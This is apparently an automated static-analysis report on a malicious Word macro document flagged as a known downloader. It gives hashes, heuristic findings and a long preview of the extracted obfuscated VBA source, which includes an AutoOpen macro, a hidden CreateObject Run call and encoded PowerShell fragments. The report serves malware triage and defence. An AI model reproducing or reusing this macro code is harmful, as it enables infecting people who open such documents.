Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b674ced4eaf5fdc5…

MALICIOUS

Office (OLE)

220.0 KB Created: 2018-03-21 14:37:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 24034958b1acc7ac7f4625c4df5b0a8c SHA-1: 97646e6ec445c296c962e22bd4cd83344f23bab5 SHA-256: b674ced4eaf5fdc5a626f6dcd2394b25402728b2f4ac4df54d3934584a0b4c8a
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of auto-executing macros and CreateObject calls, commonly used to download and execute further malicious content. The ClamAV detection name 'Doc.Malware.Emodldr-10025032-0' suggests it's a known downloader. The VBA script itself is heavily obfuscated, making precise analysis difficult, but its structure suggests it's designed to execute arbitrary code.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    End Select
CreateObject(pwakokJ).Run ONqEnjAEVVc + Chr(VBA.vbKeyC) + ktzGBdoMDjsr + uXEajK + JRwIXrhq, vbHide
Select Case iDFPjU
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "XwuiCnpEFE"
Sub AutoOpen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 69749 bytes
SHA-256: 58c9410dcaf338a7d3ffdeeb3065bdddef356d73830d5d3ebc22c6ccfa6d0bfe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
692 of 1150 identifiers look randomly generated (e.g. 'XhOAMGAkBQZAQDA2AgMAUDA0AwMAcDAiBgZAIDAm') — consistent with name-mangling obfuscation. Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "RCMhjdD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "IWbavEvkSDza"
Function aAoippdvuHHipN()
On Error Resume Next
Select Case mNPiRR
         Case 4587
            TjkTP = uwjbi
            pcFSUS = sJsLqU
            lEaoar = Cos(45487 * CBool(29128))
         Case 16611
            sTwvQ = 88755
            QdvtJI = Fix(94188)
            zjJza = Oct(40580)
End Select
HzEjZuXZlrU = tvJWYV("rkiiVBgYAIDAkBQNAEGAjBgMAIDAhBgNAIDA2AQOAYGAlBAOAIDAyAgYAEGA1AwYAYGAjBwMAMDAxAQNAYGA4AAOAQGAmBpck6", 5 + 0, 89 + 0)
Select Case whipWu
         Case 2775
            aaUsaB = lcPBu
            Zobwd = bHNRhr
            UOMaXz = Cos(29044 * CBool(80364))
         Case 39774
            pPWJd = 96679
            iZafZt = Fix(13331)
            tPajMI = Oct(73868)
End Select
Select Case nWKazl
         Case 40693
            nLmbkY = mqlHKd
            DtXNku = BCnihq
            wLnhz = Cos(43305 * CBool(69134))
         Case 59644
            VZKmZC = 78711
            qOoTQC = Fix(68327)
            bOlJz = Oct(94506)
End Select
BcfzGpA = tvJWYV("PwIGAxAQZAMDAhBQMAcDAzlKpw10", 8 + 0, 19 + 0)
Select Case hSniw
         Case 49858
            GOYSC = aHDwNK
            TBtiJE = YHwVbX
            cTlYq = Cos(5026 * CBool(61309))
         Case 15346
            uzzvaT = 22262
            woJjjZ = Fix(9887)
            utmzQ = Oct(6646)
End Select
Select Case wGMOrU
         Case 22534
            KWLGFM = EAbmJ
            zhnWnR = VHJIAH
            wDPJZZ = Cos(53222 * CBool(29157))
         Case 55476
            wLwZl = 58331
            nsEwZ = Fix(49793)
            DCTYDN = Oct(6890)
End Select
DUXATi = tvJWYV("b5%HAgZA4GA8BgM5435a05061b3143240f3476111d29467'($ qz", 3 + 0, 47 + 0)
Select Case zjHAk
         Case 34971
            kQkEk = cVSjcG
            HDhWd = FWFCL
            zqNPR = Cos(69757 * CBool(87513))
         Case 69982
            IoOVp = 33370
            jBobGi = Fix(94891)
            zkXNNq = Oct(59357)
End Select
Select Case sYdvn
         Case 70558
            dYoiCb = BjrRmj
            plbcr = OziRm
            azGrv = Cos(14595 * CBool(8067))
         Case 42834
            iKdSM = 60168
            zhAcW = Fix(42447)
            nBSwj = Oct(68070)
End Select
jWsPi = tvJWYV("GMEPjtMAgDAyAQMAIDA5AQOAIGAzAAMAADA4AgYAkDAiBAZAkDAjBQOAIGAlBgZAYDAxAQZAADAzAgYAYDAyAQZAMDAiBwNAMDA5AgNAQGA4AANAIDAhBgZAQGAlBQOAgDAiBQMAYDAzAAMADS", 3 + 0, 138 + 0)
Select Case qWwfAB
         Case 89980
            vJiKtK = wKiWuA
            RKAEu = pcLVm
            nojnMd = Cos(48213 * CBool(12706))
         Case 72107
            uMcsMD = 15888
            ModpE = Fix(73290)
            vHbDTw = Oct(24911)
End Select
Select Case uoiRZG
         Case 47768
            wRbkT = cPBzXP
            zzvtb = msEXpT
            JPvvw = Cos(92694 * CBool(95582))
         Case 94943
            FwGiu = 12219
            NkJjNv = Fix(83682)
            YzMlZu = Oct(87527)
End Select
OvGZW = tvJWYV("zkYAQGA3AwYAMGAhBQNAkDAxAQYAMDAlBwNAcDAzAwYAcDA3AQYAIGAlBQOAQDAxAgYA20ui5zT", 8 + 0, 66 + 0)
Select Case QDfNUF
         Case 97221
            SYwswm = zjJqnf
            COYMWA = LXGLKq
            PtOHli = Cos(32945 * CBool(77428))
         Case 93861
            jmAMFQ = 7323
            GjAQp = Fix(15371)
            zrGArj = Oct(78394)
End Select
Select Case znbaqX
         Case 21054
            QsJEjq = hLoDEL
            KzEcZL = GYqoG
            vNiYiz = Cos(63001 * CBool(92352))
         Case 26034
            plEFE = 43945
            rsdMd = Fix(56439)
            NwznJ = Oct(39004)
End Select
bsbTwtBSP = tvJWYV("SzYj42,731,451,57,091,31,221,49,78,73  yEk- gNirtkpcbheruCeS-OTTREvnOc |'=AgZAEDAjBQMAgDAxAQYAEGAwAQYAEDAhBQZAADAmBQOAYGAjBQNAgDA2AAZAEDA0AAMAIDAjBANAIGAzAgYAEGAzAQOAQGAjBQYAEGAzAQZAEGAFZbAQ", 6 + 0, 177 + 0)
Select Case QdEnU
         Case 54391
            UHiqz = OqVFBk
            zvcZS = LKkztm
            EYIzSk = Cos(89553 * CBool(95918))
         Case 44214
            zVjDIX = 56150
            lZKTVA = Fix(60143)
            kQFjJ = Oct(70889)
End Select
Select Case ndlusk
         Case 85429
            wRaKX = aHzfPF
            DYiBi = pXFbT
            HpNjqu = Cos(79902 * CBool(18067))
         Case 49564
            tsfJc = 22521
            BGiuj = Fix(69334)
            GsNbD = Oct(83966)
End Select
EEWdUb = tvJWYV("jHbwQAkDAmBgMAUDA2AgMAEGAlBgZAQGAjBQNAQDA3AAOAUGAyAgYAMGAyAgMAkDAiBwNAUGAkBQOAEDAmBQZAQGAkBgZAgDA4AQMAYDAlBQOAIGA0AwYAUDAhBQZAIGA1AwNAUDA2AANAcDAwAQOAYGAmBwNAADAzAQMAMGAiBQOAYGA3AwYAYDA5AAMAYGAwAAMAcDAkBwitm", 4 + 0, 199 + 0)
Select Case qHhQwM
         Case 45850
            lZwrj = lWVjdV
            VliaF = czjNG
            cDlzsj = Cos(97978 * CBool(59561))
         Case 88271
            IwpAa = 40041
            svZWn = Fix(40872)
            wprDu = Oct(18179)
End Select
Select Case mfKNX
         Case 71177
            CazCwC = iZGjYq
            KaElLl = alzDtW
            SIfNo = Cos(51646 * CBool(17373))
         Case 18444
            WldcX = 75779
            EGjmbE = Fix(12457)
            LzAbow = Oct(98634)
End Select
MlcWdhk = tvJWYV("Zj5UVmqgMAUGA1AQMAcDAzAQYAgDAxAQZAkDAmBwMAkDA0AgZAkDAxAQOAYGA0AwNAkDAlBgZAYGAyAQOAEGAkBgMAYDA3AwYAMDAhBwYAUGA1AQZAUGA1AQY7A", 3 + 0, 114 + 0)
Select Case fdPQb
         Case 42692
            PbBRhA = JamJvz
            kuNCC = pahVK
            fzzIX = Cos(1342 * CBool(65022))
         Case 43348
            KanZc = 56213
            ZpfDCr = Fix(90422)
            COYTup = Oct(89377)
End Select
Select Case RutiC
         Case 56929
            dThmN = hbcMn
            SqqcYJ = jXiPbv
            Whumwq = Cos(67400 * CBool(66184))
         Case 5317
            RjzWLm = 82220
            jwzdb = Fix(33628)
            YPuBw = Oct(7660)
End Select
wEUzWbHJzQ = tvJWYV("zD bwYAIGA5AQMAYGAxAAOAYDA4AAZAQGAmBgZAcDA1AANAYGAkBgNAkDA5AgYAUDA5AwYAIDAkBgZAcDAiBwMAkDAwAAMAEGAwAAOAADAmBgYAQGA4AgYAcDAiBwYAADAiBAZAIGAwAAMAcDAmBQYAIDAkBQNAYDAxAQZAUGAlBgNAcDAwAgMAADA0AgMAYGAEIzV", 5 + 0, 189 + 0)
Select Case qdhzh
         Case 81079
            wLknK = pMQXk
            vvwjtG = RZaohD
            MsTpLF = Cos(1147 * CBool(11785))
         Case 67907
            PqQGfL = 96854
            QKIJt = Fix(88369)
            sEYnVW = Oct(5816)
End Select
Select Case BvFGf
         Case 42723
            EOzQP = otUKa
            UJmww = HKwwq
            nwSld = Cos(75826 * CBool(98630))
         Case 13648
            NsiUJ = 54876
            Ydiih = Fix(62061)
            FPzJnX = Oct(21638)
End Select
PcCICFJa = tvJWYV("9QiiwAAOAYDA2AQOK.a", 4 + 0, 12 + 0)
Select Case GXidT
         Case 948
            PjLTw = REinq
            mTTIkH = MWjiM
            IKlKmj = Cos(16720 * CBool(19893))
         Case 41874
            wXOjf = 77377
            SVwaY = Fix(70107)
            PzVJnf = Oct(66182)
End Select
Select Case ntAWdt
         Case 66269
            LMUHV = AoFsL
            TWSfXj = qRlWi
            ahBjDZ = Cos(55809 * CBool(96300))
         Case 64500
            jOJFNZ = 47795
            iloaQa = Fix(39935)
            zmszaq = Oct(73179)
End Select
kihmZE = tvJWYV("VCT7vreSpoReTNI.EMITNUr[ (EkOvni.)EMAN.]0[)(kpcbhrebmEMtEg.]LahSRaM.kpcbheCivRESPoRETNI.emiTNur[(::]LAHSram.kpcbhecIVrEkpcbhPoREtNI.EMiTnur[ (()'X'+]03[eMOhSP$+]4[emOhSP$ ( &Gw", 3 + 0, 154 + 0)
Select Case vizFB
         Case 36204
            dliiRO = uRsAnw
            AQaOE = qGiRsc
            JiZTj = Cos(30887 * CBool(6498))
         Case 19641
            lrDkWs = 51852
            ZDpwv = Fix(26761)
            qwqrX = Oct(7034)
End Select
Select Case vtkJq
         Case 19338
            lJwKpR = IEBOPC
            sldjOj = dKlfj
            zijrKz = Cos(45875 * CBool(10736))
         Case 65958
            UHQVSA = 60188
            hwaDIH = Fix(50102)
            dWHwLf = Oct(13320)
End Select
BBVRlLnY = tvJWYV("f1nIAkBAOAQDAkBwMAQDAkBAZAIDA3AwMAYGAi3KaSU", 6 + 0, 34 + 0)
Select Case waVJDS
         Case 58912
            JlIbwL = dfDzkD
            ZcRiTB = jopAdY
            fVdPTp = Cos(88176 * CBool(43880))
         Case 96437
            dSjdTH = 64335
            jDAss = Fix(40132)
            dmawTb = Oct(39766)
End Select
Select Case zIYXR
         Case 87963
            EsUhl = KRaiN
            ViPjfM = UNdTa
            dDPDY = Cos(6246 * CBool(99))
         Case 24332
            bYzsYV = 36400
            VOIITc = Fix(69462)
            sLtZMb = Oct(48700)
End Select
jNSlB = tvJWYV("D7FgZAIDAxAQYAQDA5AwMAcDAmBgMAYDAwAwYAgDA2AgMAMDA2AQMAMDAyAQZAMGAlBgNAYDA0AgYAADA2AQOAEGAyAgZAQDAlBwNAYDA1AwMAEGAkBQMAEDAxAQNAUDAwAwYAgDAiBAMAYGAyAwYAEDAwAwNAIGA0AQOAQGAkzmfM", 6 + 0, 166 + 0)
Select Case KHGuOB
         Case 59270
            PjCrj = nBBiHF
            OKbfb = rGnZzz
            iRPYU = Cos(39309 * CBool(67779))
         Case 89148
            jZssGY = 84993
            hUTbv = Fix(93126)
            OmVnHc = Oct(19864)
End Select
Select Case UziaL
         Case 236
            idCcs = GznLj
            FbutX = VSvpj
            Dmrzb = Cos(59183 * CBool(53707))
         Case 11653
            rlzlw = 85645
            viwJo = Fix(28101)
            uaDKI = Oct(80919)
End Select
HrjfBoQR = tvJWYV("jAPgDAzAwYAYGA0AwNAQDAwAwNAIGA3AQOAYGA4AANAkDA1AQOAgDA0AQNAMDA2AgMAYGAjBAZAYGAmBgZAUDAyAgYAEDA3AQOAYDAmBAZAQGA4AQNAADA1AwNAUDA1AgZAYGA5A,O3mC", 6 + 0, 133 + 0)
Select Case MsuiYG
         Case 25016
            WIjdB = quIYY
            WNqZk = jwWXTT
            SfsFG = Cos(48868 * CBool(72452))
         Case 76346
            MpZKNo = 7906
            umjUKz = Fix(3561)
            ukWQm = Oct(97924)
End Select
Select Case BkvmHi
         Case 63176
            QrjnAE = tbdEDz
            BcYdpL = crLmlu
            MuLsVR = Cos(76581 * CBool(98932))
         Case 56177
            JfwHPz = 85136
            mPiSOd = Fix(84831)
            qozVA = Oct(28522)
End Select
jlGDaMLY = tvJWYV("FKJZwS1BQYAcDA4AAMAYGAjBQMAcDA3AAZAYDAmBAZAIGA2AgYAUGAlBgMAYDAhBQZAIGAwAAZAQGAhBAZAADAwAgYAUGAmBQZAIDAyAQOAQRH", 3 + 0, 101 + 0)
Select Case FhjSM
         Case 64607
            zCznTK = sNrTA
            iCtjhA = bzzHk
            Vqaihf = Cos(7659 * CBool(8781))
         Case 35438
            TaJhGz = 52005
            BzQjD = Fix(76776)
            kMhHzC = Oct(83196)
End Select
Select Case hHUFYp
         Case 67555
            jTvSr = qsvAB
            ucacoR = aUbfz
            tjmff = Cos(13968 * CBool(11249))
         Case 59088
            qcwZFb = 91103
            QzaJzF = Fix(64551)
            RGdIEI = Oct(76159)
End Select
OMMHzjj = tvJWYV("5AkY5AANAMGA4AwMAQGA4AwMAYGAlBQZAYGAyAgYAEGA4AAOAUGAkBAMAYDAyAwYAYGA2AQYAYGAzAQNAMDAwAQNAgDAV", 2 + 0, 87 + 0)
Select Case AzWEMP
         Case 86705
            FzlzjP = kfmKi
            IwiEo = AcWpi
            wZIEqV = Cos(1264 * CBool(8314))
         Case 59450
            zTkKB = 90740
            cSzFar = Fix(2218)
            zXAsTi = Oct(18339)
End Select
Select Case XwJov
         Case 8985
            MDLYbj = zDQEw
            qhdICC = nmtnZO
            OTOXMr = Cos(76571 * CBool(72505))
         Case 32051
            tFDHto = 71208
            RbQqVB = Fix(72631)
            MrZKYw = Oct(24544)
End Select
QFOhvFM = tvJWYV("A%fD8jBAOAgDAyAQNAMGAjBQOAMDAlBgNAIDA0AQOAQDAiBgZAADA3AwMAkDA4AAZAIDAzAQMAEGAlBQMAUDAjBwNAMDAzAAZAYDG5r", 4 + 0, 95 + 0)
Select Case ojptrE
         Case 12857
            QiOzw = uzHrIn
            YwNlU = wLGavs
            TNzrF = Cos(24239 * CBool(39260))
         Case 22781
            qmotc = 94480
            ChqZfQ = Fix(66419)
            HWZKsJ = Oct(7481)
End Select
Select Case MClDV
         Case 50172
            PzKLcE = jzNDGr
            zljGuw = jbDmM
            ZOczF = Cos(10758 * CBool(34552))
         Case 88362
            cXsCR = 80679
            VBMGZP = Fix(33093)
            wbdPj = Oct(46388)
End Select
YSwNHMhjtr = tvJWYV("dlqdrkpcbh8ZAQDAxAwMAcDAlBQZAQDAkBwNAUDA1AwMAYGA2AAOAgDAmBQNAcDAyAwMAEGA4AgZAEDAyAgZAcDAwAQZAkDAxAQOAUGAxAQMAIDA4AQZAkDA2AAOAcDAlBgYAIGAxAAOAYGAjBwYAMDA4AAZAMGA4AwNAIGA3AQYAEGAyAQOAYGAyAQZAgDAmBAOAcDA0AQMw", 2 + 0, 193 + 0)
Select Case YPAXV
         Case 41656
            wAZrn = MOsfj
            FCaFfJ = aCibCK
            VwcBtU = Cos(46021 * CBool(14013))
         Case 5577
            hhbIp = 67114
            wjwSEw = Fix(18951)
            OXvMU = Oct(48020)
End Select
Select Case vfwLQ
         Case 64126
            wPSBJ = GiowNf
            FJwQoH = bXOzX
            fInlL = Cos(93338 * CBool(70916))
         Case 2742
            wTBHl = 12622
            TVwqW = Fix(22208)
            jhWJJh = Oct(50573)
End Select
rJRpXMzEMq = tvJWYV("EGSBgNAMDA2AgYAEGAxAwNAQGAxAwYAYGAwAgMAADAzAQOAMGAyAQNAMGA2AwMAkDA2AQNAUDA3AwMAgDAhBwMAUGAyAAOAkDA3AwYAcDAwAwMAIDA1AQZAEGAwAQOAUDAyAQYAYGA2AgNAEDAhBgNAMGAyP1kpcbh", 4 + 0, 152 + 0)
Select Case SinLw
         Case 91465
            nRujv = dPjWR
            DtDhz = WDDom
            UjzAXT = Cos(49530 * CBool(14634))
         Case 34876
            hfvpP = 52167
            SpnrT = Fix(42967)
            Pworc = Oct(84279)
End Select
Select Case cdttQ
         Case 1272
            wfBhXt = CrmKv
            CCLSVA = nBaFfV
            jWdwzj = Cos(39564 * CBool(66102))
         Case 79438
            wzQNz = 80175
            wafzZS = Fix(52192)
            PBGvF = Oct(92163)
End Select
jCvBJjkAdsE = tvJWYV("f0b1AgYAUGAhBAZAgDA2AQZAMDAmBgYAADAmBgZAUDA0AgMAgDAiBgMAUGAwAANAEDAxAQOAUDA4AQOAkDAhBQMAADAwAwMAYDA2AAOAgDA1AgYAEGAlBQOAQGAjBANAMDA4AwYAiBA", 4 + 0, 133 + 0)
Select Case BMijN
         Case 77937
            OHUNq = WklpL
            GFphKD = akfNm
            ZuzDfR = Cos(53568 * CBool(85764))
         Case 76093
            YfLcF = 1647
            PRkLow = Fix(21486)
            YcLOaj = Oct(88972)
End Select
Select Case GBBNP
         Case 92423
            wjnBqq = fSdfB
            qJKhoO = FXKkvq
            NwdrQ = Cos(62646 * CBool(85633))
         Case 21345
            vRjPK = 16940
            mkRHQw = Fix(82937)
            ZAMoZ = Oct(43035)
End Select
sOvlEuk = tvJWYV("bowAwYAkDAxAgNAUGA5AAV2Lb", 5 + 0, 19 + 0)
Select Case Fzcti
         Case 78386
            PUzfqP = HzYwl
            zijwR = JSQUE
            wsMhnR = Cos(49743 * CBool(95568))
         Case 2146
            wKkFb = 9378
            Bnsnw = Fix(6376)
            PdcdfS = Oct(98107)
End Select
Select Case LZBpz
         Case 42261
            rbuXw = QmciwO
            jhoMv = nQHhsQ
            YGLRrz = Cos(51094 * CBool(34243))
         Case 50493
            GvidXW = 17863
            alBSi = Fix(69780)
            uSizkt = Oct(4047)
End Select
XHTcJU = tvJWYV("%mMjrlb9IDAmBAMAUDAiBQMAUGAlBwYAQGA3AgYAEDAlBgNAQDAiBgZAMDA5AQYAgDAiBAZAYDAiBwNAQDAjBwYAkDA4AwMAYDAiBAOAkDA0AgZAkDt", 2 + 0, 106 + 0)
Select Case USKbK
         Case 82782
            oFJwiQ = BQuwH
            fZFca = zfsRpo
            oJLMu = Cos(97113 * CBool(67093))
         Case 54482
            wJfBYc = 32254
            Fmmjb = Fix(89874)
            iAitS = Oct(92380)
End Select
Select Case RpaTz
         Case 61346
            TlRGfj = MMiahp
            DiNNw = JZXWP
            TwTju = Cos(93297 * CBool(24962))
         Case 63987
            zRaBkj = 30817
            YbGVFN = Fix(20661)
            FwUju = Oct(28220)
End Select
MVrPiVlqN = tvJWYV("vqK77ZmBgMAMGAxAgYAkDA3AgNAQDA3AgYAMGAyAAOAADAiBQNAYGA2AANAgDA5AgNAUDAxAQYAMDAyAQZAMDA0AQYAUGAlBANAUDA0AANAQGAkBQZAgDA3AgMAADAiBANAUDAjBQZAYGA0AgZAQGAkBgYAkDA2AQYAYDAyAQZAIDAzAEKl", 4 + 0, 170 + 0)
Select Case qTPbtc
         Case 75950
            UIOFNn = Oftjw
            IqNkIW = zswsiV
            hUEWNl = Cos(95144 * CBool(73935))
         Case 25397
            IzZtko = 80382
            PBidB = Fix(81640)
            FwjbJW = Oct(44248)
End Select
Select Case bjWqp
         Case 84025
            QnDoA = zjwmB
            jhRoQB = bbYBac
            UjWvh = Cos(23510 * CBool(95996))
         Case 76410
            QWmMZ = 26111
            jYXXKX = Fix(19748)
            GoGPps = Oct(72284)
End Select
ioPstuYkm = tvJWYV("iUz.Ew9iGAxAANAgDA4AAZAkDAhBQMAYDA2AAZAADAwt", 2 + 0, 35 + 0)
Select Case LiqTNC
         Case 9071
            jtZBSd = JOkrdC
            LzVip = FiwPit
            hitdiT = Cos(65587 * CBool(81497))
         Case 33310
            JZczzB = 9475
            IaGSt = Fix(95564)
            NLkwuJ = Oct(43111)
End Select
Select Case rvLOPq
         Case 40949
            Vsmup = nIlrz
            UAiKbN = sSFTc
            HAoMzj = Cos(20177 * CBool(3221))
         Case 96386
            SnJwB = 94027
            JjZiHr = Fix(26347)
            nCacG = Oct(31275)
End Select
PmijLQQvl = tvJWYV("bBA.A8QLAcDA5AQMAMGAwAgYAcDA1AgMAMGAjBQYAIGA1AAOAUDA3AQOAQDA1AQZAADA2AANAUGAzAgZAUGA1AQNAUGAmBgMAEDAlBQMAUDAlBwMAYGAyAwYAQGAhBAZAMDA5AgMAcDAzAgMAgDAmBANAIGAiBwMAEGA4AQZAEDA2AwMAYDAhBQYAIDAyAQNAkDAyAANAMGAxAB", 2 + 0, 198 + 0)
Select Case KBhAw
         Case 92696
            KnjWwP = SPOvc
            kCOAIa = KijYr
            tdHQBw = Cos(89001 * CBool(41560))
         Case 49004
            zltwiU = 76251
            hdUoH = Fix(75862)
            rXkdjD = Oct(15282)
End Select
Select Case BZHSWa
         Case 55893
            PhfGDD = ZplLM
            YuMXL = LzJtu
            IoFIw = Cos(46566 * CBool(82146))
         Case 91060
            AVrRfO = 54970
            SzpkN = Fix(56764)
            vuLNRz = Oct(11246)
End Select
hdbPJIJm = tvJWYV("A9GA1AwNAYGAzAQOAQDAyAgYAUDAkBgNAkDAwAAZAUDAiBAOAEDAyAwMAMGAzAwA8i%jEp", 8 + 0, 61 + 0)
Select Case kAuOwR
         Case 83636
            UQYXY = Fjwiw
            wFVvKa = DNddu
            hGQkzi = Cos(66587 * CBool(52566))
         Case 68694
            ToGGZ = 78761
            OiCOsf = Fix(60621)
            EYEnAr = Oct(74952)
End Select
Select Case IfGtvB
         Case 24384
            RBpZh = XvXLi
            WCoJv = zpKRd
            iPtHw = Cos(32171 * CBool(15502))
         Case 96050
            OLFfW = 87712
            EScnnz = Fix(20488)
            qzzXB = Oct(45177)
End Select
LaNcWCcm = tvJWYV("8K0.AYGAhBQZAEGAhBgYAcDAlBQOAcDA0AQNAYDAhBgYAYDAyAQYAUDAhBQ4r", 3 + 0, 55 + 0)
Select Case zXPrS
         Case 36394
            wHDjj = rjiZi
            krppm = EnQzSk
            ALLhPi = Cos(52481 * CBool(48783))
         Case 78105
            VkGSC = 28352
            SYsum = Fix(22469)
            hcINf = Oct(98218)
End Select
Select Case DqWLK
         Case 44396
            dBnADn = oSHDBb
            wXklD = nOPQjm
            XrwmUj = Cos(72694 * CBool(90356))
         Case 78560
            GwzwU = 21770
            lEDLES = Fix(73435)
            GjCOl = Oct(42862)
End Select
zzmBZFZ = tvJWYV("VKkpcbhAKToNAMDAlBQOAEGA3AgNAIDAmb", 2 + 0, 22 + 0)
Select Case QKSzV
         Case 41209
            UpKJXi = DpTDai
            jRTZKM = wjjDi
            ipfWpT = Cos(5627 * CBool(68437))
         Case 27120
            uvInC = 88679
            LKrkhs = Fix(99661)
            LIUXF = Oct(57890)
End Select
Select Case OYpYQ
         Case 80068
            EGWbY = CNZzlf
            EoNFV = wfqRZ
            mCrkZh = Cos(35747 * CBool(26300))
         Case 88109
            rNWVuK = 63800
            izLwO = Fix(49561)
            jCMrq = Oct(26913)
End Select
unTSwKzdi = tvJWYV(".wwYAkDAhBwNAMGAzAAZAYDA0AwYAUDA4AANAIGAlBgMAYGAiBgMAYGAhBwMAIGA2AAOAUGA3AgYAUGA2AAOAEDAjBAZAADAmBwMAQGAjBQYAADAxAQYAUGAjBgNAkDA3AQNAYGA5Aw06vJRiq", 8 + 0, 137 + 0)
Select Case wjmnLd
         Case 99394
            SRidz = jAKnw
            mcjooR = qiGWC
            CQniG = Cos(98546 * CBool(7460))
         Case 23518
            iuUkc = 19026
            CBEsjC = Fix(38095)
            zzuDJ = Oct(73255)
End Select
Select Case lIpnrG
         Case 4195
            LXaTH = zNjRL
            bflnq = BjDCf
            dCJzzf = Cos(34677 * CBool(1123))
         Case 52108
            cYLsZ = 70146
            jffSRz = Fix(11508)
            CznFV = Oct(19053)
End Select
hOZsKV = tvJWYV("djkpcbhgMAEGAmBAZAMDAlBAMAYDA3AgMAUDA2AAZAMGAkBAOAgDA4AAMAIGAiBgYAYGA1AgMAYDAzAgYAIDAhBgYAg4Xzd", 5 + 0, 84 + 0)
Select Case riqEC
         Case 5384
            EzLuY = NcziQ
            WWzZLC = aviiv
            tTjcC = Cos(39498 * CBool(65555))
         Case 62245
            bjHXb = 6338
            ZzJoX = Fix(75964)
            sJfCwc = Oct(39583)
End Select
Select Case iVBbYp
         Case 26895
            fpltzR = icZRi
            iHGtYC = QlzRV
            IfHiz = Cos(24610 * CBool(60297))
         Case 7232
            CNTLXw = 84787
            DOGAzO = Fix(91621)
            znwLuq = Oct(37922)
End Select
WJUZYzUW = tvJWYV("XZpCAAZAEDAkBgMAcDAlBANAYGAkBwMAQDAwAAZAYGA2AwNAIGAjBgZAgDAjBQMAYDAmBgZAkDAlBANAYDA4AgMAIGA2AQOAADAhBgYAMDAmBgMAMDA2AQOAQGAlBwYAkDAjBANAQGAlBQMAEGAyAAOAYDAhBAMAIGAjBwYAADA5AwNAUGAkBl7bH", 5 + 0, 177 + 0)
Select Case tJibz
         Case 49661
            DqlFs = MfSYH
            DPDJQL = AZiswL
            vSOTQj = Cos(56844 * CBool(17907))
         Case 5456
            NJDIm = 15321
            nmuQJp = Fix(189)
            QBZfV = Oct(97429)
End Select
Select Case aBpHp
         Case 64915
            wsRrQ = Rzoll
            olXONG = MkOFE
            mrTamM = Cos(6478 * CBool(67820))
         Case 87953
            OiWzNS = 40812
            QWtmo = Fix(4426)
            bAWVYj = Oct(74091)
End Select
DorBiIP = tvJWYV("qtaAY0AAZAYGA4AAOAIGA3AQYAEDAlBgMAQGA5AgYAMDAiBAZAMGA0AwYAgDAiBAMAADAwAAOAUDA2AwNAQGA4AQMAIGA0AwYAMGA2AwNAYGA4AAiZ", 3 + 0, 107 + 0)
Select Case BdZzZ
         Case 2672
            isuqI = rGFuPL
            hzADRn = MhNVL
            SVWnUw = Cos(3859 * CBool(84346))
         Case 77623
            sztCj = 87900
            bJYzf = Fix(7678)
            WjlpMB = Oct(58925)
End Select
Select Case VXfBIX
         Case 1651
            KwlBiE = LGHQzP
            Rhijfd = zwkVIs
            VdwUz = Cos(16283 * CBool(95074))
         Case 96603
            FukMwu = 13677
            RUnGzW = Fix(48720)
            WfLABj = Oct(41099)
End Select
kwOpjR = tvJWYV("LHw9AiBQNAcDAjBQOAADAhBAZAIDAjBgYAEGA0AwYAIGAiBQOAcDAmBgZAYDAxAgYAIDAzAgMAQGA5AwYAUDAhBwMAUDA0AAZAYDAhBgMAQDAZ3t", 4 + 0, 105 + 0)
Select Case FpcLw
         Case 253
            kTAZo = RzFrrD
            FOYGWb = cmzfZZ
            GIRvw = Cos(32870 * CBool(27522))
         Case 4613
            wzkwFj = 11322
            JchGq = Fix(34484)
            oUXdw = Oct(42045)
End Select
Select Case NaHHj
         Case 27335
            AkEjs = mjcuz
            zpbYv = TEDrwk
            YZDGsu = Cos(77430 * CBool(79750))
         Case 88266
            GkjBlN = 54623
            SUbcR = Fix(74833)
            LMQJz = Oct(17576)
End Select
IqiMrI = tvJWYV("cE,bpNAUDAmBwMAIDAkBgNAcDA4AQMAwHA9AQPAcHAoBwVA0EAyAQMAUDA3AQTAoEAyAgVAMDACBwZAEEArAwdAYGAzOoj", 4 + 0, 86 + 0)
Select Case TsTdic
         Case 68423
            IjFqU = LuhraT
            QPwIRE = iXfwqV
            rhIfA = Cos(77015 * CBool(34639))
         Case 21513
            WbSOAR = 67065
            WpECc = Fix(44667)
            QXCRl = Oct(6997)
End Select
Select Case FiwzM
